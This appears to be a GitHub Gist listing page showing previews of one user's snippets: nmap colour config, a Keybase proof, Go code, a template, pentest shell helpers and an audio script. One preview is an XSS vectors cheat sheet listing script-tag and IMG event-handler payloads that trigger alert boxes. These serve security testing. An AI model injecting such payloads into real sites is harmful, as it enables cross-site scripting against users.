Skip to content

Instantly share code, notes, and snippets.

View conf.nmap
#
# use none for unchanged color
# match groups appear to match in reverse order
#
# https://github.com/pengwynn/grc/blob/master/grcat
#
# ip address
regexp=\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}
colours=bold yellow
======
View keybase.md

Keybase proof

I hereby claim:

  • I am freb on github.
  • I am freb (https://keybase.io/freb) on keybase.
  • I have a public key ASB8W_PVhlwoeQ1c6E0tYDmUZeIEUlc8YcGoPgZ_9OegCQo

To claim this, I am signing this object:

@freb
freb / xss_vectors.txt
Created Sep 12, 2018 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
View xss_vectors.txt
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
View addrefs.go
package main
import (
"fmt"
"log"
"os"
"regexp"
"strings"
"baliance.com/gooxml"
View conf.nmap
#
# use none for unchanged color
# match groups appear to match in reverse order
#
# https://github.com/pengwynn/grc/blob/master/grcat
#
# ip address
regexp=\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}
colours=bold yellow
======
View gnorm.gotmpl
{{- /* map from db type to non-null protobuf go type */ -}}
{{- $pbTypes := makeMap "bigint" "int64" "boolean" "bool" "character varying" "string" "character" "string" "date" "*timestamp.Timestamp" "integer" "int64" "smallint" "int32" "text" "string" "timestamp with time zone" "timestamp.Timestamp" "timestamptz" "*timestamp.Timestamp" "tsvector" "string" "varchar" "string" "uuid" "string" "bytea" "[]byte" "jsonb" "string" "action_type" "ActionType" "project_type" "ProjectType" "stage_type" "StageType" "tag_type" "TagType" "user_assoc_type" "UserAssocType" -}}
{{- /* map from db type to null protobuf go type */}}
{{- $pbNullTypes := makeMap "bigint" "*wrappers.Int64Value" "boolean" "*wrappers.BoolValue" "character varying" "*wrappers.StringValue" "date" "*timestamp.Timestamp" "integer" "*wrappers.Int64Value" "jsonb" "*wrappers.StringValue" "text" "*wrappers.StringValue" "timestamp with time zone" " *timestamp.Timestamp" "timestamptz" "*timestamp.Timestamp" "uuid" "*wrappers.StringValue"}}
@freb
freb / nest.go
Created Apr 19, 2019 — forked from markbeee/nest.go
GoogleNestGo
View nest.go
package main
import (
"bytes"
"encoding/json"
"errors"
"fmt"
flags "github.com/jessevdk/go-flags"
"io"
"io/ioutil"
@freb
freb / .zshrc
Last active Jun 19, 2019
Bash functions for pentest tool output
View .zshrc
nmap-uphosts() {
FILE=`realpath $1`
echo "
from lxml import etree
t = etree.parse('$FILE')
if \"-Pn\" in t.xpath(\"string(@args)\"): # port scan
hosts = t.xpath(\"/*/host[ports/port/state[@state='open']]/address[@addrtype='ipv4']/@addr\")
else: # ping scan
hosts = t.xpath(\"/*/host[status[@state='up']]/address[@addrtype='ipv4']/@addr\")
print(' '.join(hosts))
View dgraph.go
package dgraph
import (
"errors"
"fmt"
"reflect"
"strings"
"sync/atomic"
"github.com/mitchellh/reflectwalk"
View cyclesink.py
#!/bin/env python
#
# cyclesink sets all audio sources (sink inputs) to the same next
# sink in PulseAudio. PulseAudio sets newly created sink inputs to
# use the sink that was last assigned to, so all sources should always
# be using the same output unless the configuration is changed elsewhere.
import os
def get_sinks():